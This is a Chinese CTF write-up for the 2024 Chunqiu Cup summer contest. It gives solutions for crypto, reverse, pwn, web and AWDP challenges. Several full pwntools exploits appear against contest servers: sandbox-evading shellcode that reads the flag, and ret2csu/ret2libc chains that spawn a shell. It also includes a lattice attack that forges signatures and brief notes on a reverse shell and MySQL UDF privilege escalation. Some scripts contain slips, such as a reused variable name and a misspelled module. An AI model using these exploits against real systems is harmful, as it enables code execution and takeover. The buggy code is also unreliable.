2024春秋杯夏季赛WP
想写一首LoveSong 发表于 山东 CTF 1198浏览 · 2024-07-08 06:13

Misc

初探勒索病毒

跟着公众号操作来就行

sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

前后md5sum一下发现不一样的,之后cp为图片即可

Cry

ezzzecc

利用
$$
y \equiv x^3 + ax + b \mod p
$$
网上有差不多一样的原题,改一下板子,改一下爆破范围加快爆破私钥速度即可

from Crypto.Util.number import *
import gmpy2

a = 87425770561190618633288232353256495656281438408946725202136726983601884085917
b = 107879772066707091306779801409109036008421651378615140327877558014536331974777
K = (49293150360761418309411209621405185437426003792008480206387047056777011104939 , 43598371886286324285673726736628847559547403221353820773139325027318579443479)
G = (34031022567935512558184471533035716554557378321289293120392294258731566673565 , 74331715224220154299708533566163247663094029276428146274456519014761122295496)
c1 = (3315847183153421424358678117707706758962521458183324187760613108746362414091 , 61422809633368910312843316855658127170184420570309973276760547643460231548014)
c2 = (12838481482175070256758359669437500951915904121998959094172291545942862161864 , 60841550842604234546787351747017749679783606696419878692095419214989669624971)
cipher_left = 75142205156781095042041227504637709079517729950375899059488581605798510465939
cipher_right = 61560856815190247060747741878070276409743228362585436028144398174723191051815

#p = koZP3YQAklARRNrmYfjxoKIAXegOcG4jMOmKb08uESOkCCn72d6UM2NWgefYPEMq4EJ1M0jKaqt02Guo5Ubccjqg4QZaaHbScREx38UMLQKwG0LcDd8VFX1zkobc1ZQn4L3DhKQrgJZI55todgOdJuHN532bxScAvOF26gJyQclPtRHn3M6SHrRCEXzzmszd68PJlLB6HaabrRrCW9ZoAYSZetM5jDBtNCJLpR0CBZUUk3Oeh2MZQu2vk8DZ1QqNG49hlxGfawp1FXvAZPdMwixzkhEQnbCDcOKzYyT6BZF2Dfd940tazl7HNOswuIpLsqXQ2h56guGngMeYfMXEZV09fsB3TE0N934CLF8TbZnzFzEkOe8TPTK2mWPVSrgmbsGHnxgYWhaRQWg3yosgDfrEa5qfVl9De41PVtTw024gltovypMXK5XMhuhogs0EMN7hkLapLn6lMj


k1p = (K[0]^3 + a*K[0] + b) - K[1]^2
k2p = (G[0]^3 + a*G[0] + b) - G[1]^2
p = gmpy2.gcd(k1p,k2p)
print(p)

E = EllipticCurve(GF(p),[a,b])
G = E(G)
K = E(K)
c1 = E(c1)
c2 = E(c2)

#私钥k小于1000000
#加快一下爆破速率

for k in range(2^17,2^18):
    M = c1 - c2*k
    m1 = cipher_left*inverse(M[0],p) % p
    m2 = cipher_right*inverse(M[1],p) % p
    flag1 = long_to_bytes(m1)
    flag2 = long_to_bytes(m2)
    flag = flag1 + flag2
    if b"flag{" in flag:
        print(flag)
        break

sage跑

Signature

推导过程
$$
\therefore k \equiv s^{-1}h + s^{-1}xr \mod q
$$

$$
(r_0s_i)k_i - (r_1s_0)k_0 \equiv (h_ir_0-h_0r_i) \mod q
$$

$$
k_i - (r_0s_i)^{-1}(r_1s_0)k_0 \equiv (r_0s_i)^{-1}(h_ir_0-h_0r_i) \mod q
$$

令$A = (r_0s_i)^{-1}(r_1s_0) \mod q$,$B = (r_0s_i)^{-1}(h_ir_0-h_0r_i) \mod q$

$$
k_i \equiv A_ik_0 + B_i \mod q
$$
构造出格之后,再求k0,之后再求r,s,最后发过去r,s即可
$$
\begin{pmatrix}
t_1 & t_2 &...&t_8 & k_0&1
\end{pmatrix}
\begin{pmatrix}
q & 0 & ... & 0 & 0 & 0\
0 & q & ... & 0 & 0 & 0\
\vdots & \vdots & \ddots & \vdots & \vdots&\vdots\
0 & 0 & ... & q & 0 & 0\
A_1 & A_2 & ... & A_8 & 1 & 0\
B_1 & B_2 & ... & B_8 & 0 & K\

\end{pmatrix}

\begin{pmatrix}
k_1 &k_2 & ... & k_8 & k_0 & K
\end{pmatrix}
$$

做着做着发现和RCTF的一道题非常像,不用爆破位数就好多了

exp:

# coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *
import hashlib
import itertools
from tqdm import *
from Crypto.Util.number import *


p = remote('8.147.128.163', 36962)

s       = lambda data               : p.send(data)
ss      = lambda data               : p.send(str(data))
sa      = lambda delim,data         : p.sendafter(str(delim), str(data))
sl      = lambda data               : p.sendline(data)
sls     = lambda data               : p.sendline(str(data))
sla     = lambda delim,data         : p.sendlineafter(str(delim), str(data))
r       = lambda num                : p.recv(num)
ru      = lambda delims, drop=True  : p.recvuntil(delims, drop)
itr     = lambda                    : p.interactive()

def main():
    def pass_proof(head):
        password = 'happytheyearofloong'
        table = itertools.product([0,1],repeat=19)
        for i in tqdm(table):
            getin = ""
            for j in range(len(i)):
                if i[j] == 0:
                    getin += password[j].lower()
                else:
                    getin += password[j].upper()
            msg = getin[:5] + "_" + getin[5:8] + "_" + getin[8:12] + "_" + getin[12:14] + "_" + getin[14:]
            h = hashlib.sha256(msg.encode()).hexdigest()
            if h[:6] == head:
                print(msg)
                return msg

    head = p.recvline().strip().decode().split(" ")[-1]
    msg = pass_proof(head)
    p.recvuntil(b"Plz input your token")
    p.sendlineafter(b">", msg.encode())
    p.recvuntil(b"3.get my key\n")
    p.sendlineafter(b">", b"3")
    (p, q, g) = eval(p.recvline().strip().decode().split("Oh,your key is ")[-1])

    H = []
    R = []
    S = []

    for i in range(8):
        name = b"a" * (i + 1)
        p.recvuntil(b"3.get my key\n")
        p.sendlineafter(b">", b"1")
        p.sendlineafter(b"Username:", name)
        data = p.recvline().strip().decode()
        print(data)
        r = int(data.split(" ")[-1].split(',')[0])
        s = int(data.split(" ")[-1].split(',')[1])
        h = int(halib.sha256(name).hexdigest(), 16)
        R.append(r)
        S.append(s)
        H.append(h)

    def get_k():
        n = len(R)
        r0 = R[0]
        h0 = H[0]
        s0 = S[0]
        A = []
        B = []

        for i in range(n):
            a = inverse((r0 * S[i]), q) * (R[i] * s0) % q
            b = inverse((r0 * S[i]), q) * (H[i] * r0 - h0 * R[i])
            A.append(a)
            B.append(b)

        Ge = Matrix(ZZ, n + 2, n + 2)
        for i in range(n):
            Ge[i, i] = q
            Ge[-2, i] = A[i]
            Ge[-1, i] = B[i]
        K = 2 ** 128
        Ge[-2, -2] = 1
        Ge[-1, -1] = K

        for line in Ge.LLL():
            if abs(line[-1]) == K:
                return line[-2]

    k0 = get_k()
    print(f"k0 = {k0}")
    p.recvuntil(b"3.get my key\n")
    p.sendlineafter(b">", b"2")
    p.recvline()
    x = int(p.recvline().strip().decode())
    r = pow(g, k0, p) % q
    hh = int(hashlib.sha256(b"admin").hexdigest(), 16)
    s = pow(k0, -1, q) * (hh + x * r) % q
    sla(b"r:", str(r).encode())
    sla(b"s:", str(s).encode())
    print(p.recvline().strip().decode())
    print(p.recvline().strip().decode())

if __name__ == "__main__":
    main()

Re

snack

ida看发现有pyinstaller打包的痕迹

直接解包,需要用python3.8解包

得到key.pyc和snack.pyc

给出了解密函数,需要修一下,之后直接用即可

def initialize(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def generate_key_stream(S, length):
    i = 0
    j = 0
    key_stream = []
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        key_stream.append(S[(S[i] + S[j]) % 256])
    return key_stream

def decrypt(data, key):
    S = initialize(key)
    key_stream = generate_key_stream(S, len(data))
    decrypted_data = bytes([data[i] ^ key_stream[i] ^ i for i in range(len(data))])
    return decrypted_data

data = [
    101, 97, 39, 125, 218, 172, 205, 3, 235, 195,
    72, 125, 89, 130, 103, 213, 120, 227, 193, 67,
    174, 71, 162, 248, 244, 12, 238, 92, 160, 203,
    185, 155
]

key = 'V3rY_v3Ry_Ez'
key_bytes = bytes(ord(char) for char in key)
decrypted_data = decrypt(bytes(data), key_bytes)
print(decrypted_data)

Pwn

Shuffled_Execution

利用shellcode实现orw的题目

这里有判断长度,不过可以利用00截断绕过

开了沙箱

随机数

seccomp看一下,发现禁用了read,可以用writev输出

所以要构造不被随机数打乱的00绕过的shellcode进行orw

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='amd64'

p=remote('8.147.128.163',33369)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p)
    pause()

ru('\x1B[1;31mThe only chance to pass the entrance.\n\x1B[0m')


shellcode="""
    mov rbp,0x1337100
    mov rsp,rbp
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall

    mov rdi, 3
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall

    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
"""

pl=asm(shellcode)
sl(pl)


itr()

stdout

main中read有溢出

但是溢出只能覆盖ret_addr

在vuln中溢出很大,可以利用ret2csu在bss段上部署数据,数据量比较大,不能一下子全送过去,程序会直接崩的,需要sleep慢点送

之后就是ret2libc

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='amd64'

p=remote('8.147.128.22',21568)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p)
    pause()

start=0x401130
rdi_ret=0x00000000004013d3
ret=0x000000000040101a
rsi_r15_ret=0x00000000004013d1
csu_rear=0x4013CA
csu_head=0x4013B0
bss=0x4041a0


read_plt=0x4010D0
puts_plt=0x4010B0
puts_got=elf.got['puts']
leak('puts_got',puts_got)



p.send(b'\x00'*(0x50)+p64(0)+p64(0x40125D))
sleep(0.5)


payload=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.send(payload)
sleep(0.5)
p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))
sleep(0.5)
payload=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(0)+p64(rsi_r15_ret)+p64(bss)*2+p64(read_plt)
payload2=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(bss)+p64(0x1000)+p64(bss)
payload3=p64(csu_head)+p64(0)*7+p64(read_plt)+p64(rdi_ret)+p64(bss)+p64(puts_plt)+p64(start)
pl=payload+payload2+payload3
p.sendline(pl)
sleep(0.5)

p.sendline(p64(ret))
sleep(0.5)

p.sendline(b'a'*(1024))
sleep(0.5)

p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))
sleep(0.5)
payload=b'\x00'*(0x20+0x8)+(p64(rdi_ret)+p64(bss)+p64(puts_plt))*6+p64(start)
p.send(payload)

leak_add=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
leak('libcbase',libcbase)

p.send(b'\x00'*(0x50+0x8)+p64(0x40125D))

pl=b'\x00'*(0x20+0x8)+p64(rdi_ret)+p64(binsh)+p64(system_addr)
p.send(pl)

itr()

Web

brother

fenjing梭

之后弹shell

看api.py

给出了数据库,结合提权应该是udf提权

之后换个正常一点的shell

之后mysql连接

之后udf提权即可64位写so

Awdp

ezSpring

fix

分析jar包,反编译后看,发现

明显的jndi注入,直接gpt跑一个白名单即可

package com.example.ezspring.controller;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping("/admin")
public class AdminController {

    // 白名单路径
    private static final String ALLOWED_URL_PREFIX = "java:comp/";

    public AdminController() {
    }

    @RequestMapping("/*")
    public String admin() {
        return "admin";
    }

    @RequestMapping("/lookup/*")
    @ResponseBody
    public String lookup(@RequestParam(value = "url", required = false) String url) {
        if (url == null) {
            return "missing url parameter";
        } else if (!isAllowedUrl(url)) {
            return "Invalid url";
        } else {
            try {
                Context ctx = new InitialContext();
                Object result = ctx.lookup(url);
                return "Lookup successful: " + result;
            } catch (NamingException e) {
                e.printStackTrace();
                return "Lookup failed";
            }
        }
    }

    // 白名单验证函数
    private boolean isAllowedUrl(String url) {
        return url.startsWith(ALLOWED_URL_PREFIX);
    }
}

simplegoods

fix

直接修judge的文件上传即可

多加点黑名单

即可过check

simpleSys

break

可以看到有4个功能

挨个跟进,发现admin中有一个类型错误,转换后负数可以变为正数从而绕过

账号密码是挨着的

溢出字节多的话密码是可控的,我们可以让密码直接为空,直接绕过检测,之后就是正常打libc了

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *

#context.log_level='debug'
context.arch='amd64'

#p=remote('39.106.48.123',23011)
p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p)
    pause()



def sign(name,passwd):
    p.recvuntil(b'choice')
    p.sendline(b'1')
    p.recvuntil(b'username')
    p.sendline(name)
    p.recvuntil(b'password')
    p.sendline(passwd)   

def login(name,passwd):
    p.recvuntil(b'choice')
    p.sendline(b'2')
    p.recvuntil(b'username')
    p.sendline(name)
    p.recvuntil(b'password')
    p.send(passwd)    
def admin():
    p.recvuntil(b'choice')
    p.sendline(b'3')
def send(context,flag=b'n',length=b'-1'):
    p.recvuntil(b'length')
    p.sendline(length)
    sleep(0.2)
    p.sendline(context)    
    p.recvuntil(b'A')
    add=u64(p.recv(6).ljust(8,b'\x00')) 
    p.recvuntil(b'[y/n]')
    p.sendline(flag)
    return add


login(b'root',b'a'*36)
admin()


elf_addr= send(b'a'*(0x60+0x7)+b'A')
elf_base=elf_addr-0x187D
leak('elf_base',elf_base)

rdi_ret=elf_base+0x0000000000001751
ret=elf_base+0x000000000000101a
read_got=elf.got['read']+elf_base
puts_plt=elf.plt['puts']+elf_base
start=elf_base+0x000000000001180
pl=b'A'*(0x60+0x8)+p64(rdi_ret)+p64(read_got)+p64(puts_plt)+p64(start)
send(pl,b'y')


leak_addr=l64()
leak('leak_addr',leak_addr)
libcbase_addr=leak_addr-libc.symbols['read']
system=libcbase_addr+libc.symbols['system']
leak('system',system)
binsh=libcbase_addr+next(libc.search(b'/bin/sh\x00'))
leak('binsh',binsh)

admin()
pl=b'A'*(0x60+0x8)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
send(pl,b'y')

itr()

fix

一开始改80这个数值发现过不了check,直接改汇编即可

我改的jbe过了check

0 条评论
某人
表情
可输入 255